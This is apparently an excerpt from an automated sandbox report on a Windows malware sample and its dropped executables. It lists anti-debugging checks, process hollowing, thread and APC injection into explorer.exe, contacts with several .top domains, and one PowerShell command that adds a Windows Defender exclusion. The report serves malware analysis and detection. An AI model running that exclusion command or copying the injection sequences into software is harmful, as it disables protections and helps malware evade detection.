Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FE3F mov eax, dword ptr fs:[00000030h]	24_2_6B52FE3F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC63D mov eax, dword ptr fs:[00000030h]	24_2_6B4AC63D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47A63B mov eax, dword ptr fs:[00000030h]	24_2_6B47A63B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47A63B mov eax, dword ptr fs:[00000030h]	24_2_6B47A63B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548ED6 mov eax, dword ptr fs:[00000030h]	24_2_6B548ED6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A36CC mov eax, dword ptr fs:[00000030h]	24_2_6B4A36CC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A16E0 mov ecx, dword ptr fs:[00000030h]	24_2_6B4A16E0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4876E2 mov eax, dword ptr fs:[00000030h]	24_2_6B4876E2
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B3EE4 mov eax, dword ptr fs:[00000030h]	24_2_6B4B3EE4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B3EE4 mov eax, dword ptr fs:[00000030h]	24_2_6B4B3EE4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B3EE4 mov eax, dword ptr fs:[00000030h]	24_2_6B4B3EE4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473E80 mov eax, dword ptr fs:[00000030h]	24_2_6B473E80
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473E80 mov eax, dword ptr fs:[00000030h]	24_2_6B473E80
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADE9E mov eax, dword ptr fs:[00000030h]	24_2_6B4ADE9E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADE9E mov eax, dword ptr fs:[00000030h]	24_2_6B4ADE9E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADE9E mov eax, dword ptr fs:[00000030h]	24_2_6B4ADE9E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F46A7 mov eax, dword ptr fs:[00000030h]	24_2_6B4F46A7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B502EA3 mov eax, dword ptr fs:[00000030h]	24_2_6B502EA3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B3D43 mov eax, dword ptr fs:[00000030h]	24_2_6B4B3D43
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47354C mov eax, dword ptr fs:[00000030h]	24_2_6B47354C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47354C mov eax, dword ptr fs:[00000030h]	24_2_6B47354C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B523D40 mov eax, dword ptr fs:[00000030h]	24_2_6B523D40
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B528D47 mov eax, dword ptr fs:[00000030h]	24_2_6B528D47
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B497D50 mov eax, dword ptr fs:[00000030h]	24_2_6B497D50
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49C577 mov eax, dword ptr fs:[00000030h]	24_2_6B49C577
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49C577 mov eax, dword ptr fs:[00000030h]	24_2_6B49C577
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B533518 mov eax, dword ptr fs:[00000030h]	24_2_6B533518
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B533518 mov eax, dword ptr fs:[00000030h]	24_2_6B533518
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B533518 mov eax, dword ptr fs:[00000030h]	24_2_6B533518
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F51D mov eax, dword ptr fs:[00000030h]	24_2_6B47F51D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548D34 mov eax, dword ptr fs:[00000030h]	24_2_6B548D34
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4D3B mov eax, dword ptr fs:[00000030h]	24_2_6B4A4D3B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4D3B mov eax, dword ptr fs:[00000030h]	24_2_6B4A4D3B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4D3B mov eax, dword ptr fs:[00000030h]	24_2_6B4A4D3B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47AD30 mov eax, dword ptr fs:[00000030h]	24_2_6B47AD30
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FDD3 mov eax, dword ptr fs:[00000030h]	24_2_6B52FDD3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4715C1 mov eax, dword ptr fs:[00000030h]	24_2_6B4715C1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B528DF1 mov eax, dword ptr fs:[00000030h]	24_2_6B528DF1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A95EC mov eax, dword ptr fs:[00000030h]	24_2_6B4A95EC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4795F0 mov eax, dword ptr fs:[00000030h]	24_2_6B4795F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4795F0 mov ecx, dword ptr fs:[00000030h]	24_2_6B4795F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53B581 mov eax, dword ptr fs:[00000030h]	24_2_6B53B581
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53B581 mov eax, dword ptr fs:[00000030h]	24_2_6B53B581
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53B581 mov eax, dword ptr fs:[00000030h]	24_2_6B53B581
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53B581 mov eax, dword ptr fs:[00000030h]	24_2_6B53B581
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473591 mov eax, dword ptr fs:[00000030h]	24_2_6B473591
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A35A1 mov eax, dword ptr fs:[00000030h]	24_2_6B4A35A1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1DB5 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1DB5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1DB5 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1DB5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1DB5 mov eax, dword ptr fs:[00000030h]	24_2_6B4A1DB5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548450 mov eax, dword ptr fs:[00000030h]	24_2_6B548450
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548C75 mov eax, dword ptr fs:[00000030h]	24_2_6B548C75
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49746D mov eax, dword ptr fs:[00000030h]	24_2_6B49746D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B mov eax, dword ptr fs:[00000030h]	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B5C70 mov eax, dword ptr fs:[00000030h]	24_2_6B4B5C70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC77 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC77
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC77 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC77
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC77 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC77
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC77 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC77
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548C14 mov eax, dword ptr fs:[00000030h]	24_2_6B548C14
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC01 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC01
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC01 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC01
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC01 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC01
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48FC01 mov eax, dword ptr fs:[00000030h]	24_2_6B48FC01
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531C06 mov eax, dword ptr fs:[00000030h]	24_2_6B531C06
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54740D mov eax, dword ptr fs:[00000030h]	24_2_6B54740D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54740D mov eax, dword ptr fs:[00000030h]	24_2_6B54740D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54740D mov eax, dword ptr fs:[00000030h]	24_2_6B54740D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ABC2C mov eax, dword ptr fs:[00000030h]	24_2_6B4ABC2C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492430 mov eax, dword ptr fs:[00000030h]	24_2_6B492430
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492430 mov eax, dword ptr fs:[00000030h]	24_2_6B492430
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474439 mov eax, dword ptr fs:[00000030h]	24_2_6B474439
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548CD6 mov eax, dword ptr fs:[00000030h]	24_2_6B548CD6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACCC0 mov eax, dword ptr fs:[00000030h]	24_2_6B4ACCC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACCC0 mov eax, dword ptr fs:[00000030h]	24_2_6B4ACCC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACCC0 mov eax, dword ptr fs:[00000030h]	24_2_6B4ACCC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACCC0 mov eax, dword ptr fs:[00000030h]	24_2_6B4ACCC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472CDB mov eax, dword ptr fs:[00000030h]	24_2_6B472CDB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5314FB mov eax, dword ptr fs:[00000030h]	24_2_6B5314FB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52D4E1 mov eax, dword ptr fs:[00000030h]	24_2_6B52D4E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 mov eax, dword ptr fs:[00000030h]	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B471480 mov eax, dword ptr fs:[00000030h]	24_2_6B471480
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47649B mov eax, dword ptr fs:[00000030h]	24_2_6B47649B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47649B mov eax, dword ptr fs:[00000030h]	24_2_6B47649B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47EC9B mov eax, dword ptr fs:[00000030h]	24_2_6B47EC9B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47EC9B mov eax, dword ptr fs:[00000030h]	24_2_6B47EC9B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B549CB3 mov eax, dword ptr fs:[00000030h]	24_2_6B549CB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474CB0 mov eax, dword ptr fs:[00000030h]	24_2_6B474CB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD4B0 mov eax, dword ptr fs:[00000030h]	24_2_6B4AD4B0
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B60D90 mov eax, dword ptr fs:[00000030h]	33_2_02B60D90
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B6092B mov eax, dword ptr fs:[00000030h]	33_2_02B6092B
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00416842 mov eax, dword ptr fs:[00000030h]	34_2_00416842
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00412AB1 mov eax, dword ptr fs:[00000030h]	34_2_00412AB1

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\cnv622JnZv.exe

Code function: 0_2_00420900 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00420900

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_00401F20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

34_2_00401F20

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Code function: 24_2_6B4A6B90 rdtsc

24_2_6B4A6B90

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Code function: 24_2_6B4B99A0 ZwCreateSection,LdrInitializeThunk,

24_2_6B4B99A0

Source: C:\Users\user\AppData\Local\Temp\66A4.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 0_2_00420900 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00420900
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 0_2_0041D190 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041D190
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 17_2_0041CC60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0041CC60
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 17_2_004203D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_004203D0
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00410E58 SetUnhandledExceptionFilter,	34_2_00410E58
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_004110A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	34_2_004110A3
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00415393 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_00415393
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00410CF3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_00410CF3

HIPS / PFW / Operating System Protection Evasion:

Early bird code injection technique detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\977B.exe

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: jejhieg.6.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\66A4.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Memory written: C:\Users\user\AppData\Local\Temp\C5EA.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: unknown base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Memory written: C:\Users\user\AppData\Local\Temp\977B.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\C5EA.exe

Code function: 17_2_02BA0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

17_2_02BA0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Thread created: C:\Windows\explorer.exe EIP: 4F61920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Thread created: unknown EIP: 6D21920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Thread created: unknown EIP: 3B719C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Thread created: unknown EIP: 6CF1920

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force			Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base address: 400000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Section unmapped: unknown base address: 400000			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 41C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe base: 41E000	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\977B.exe

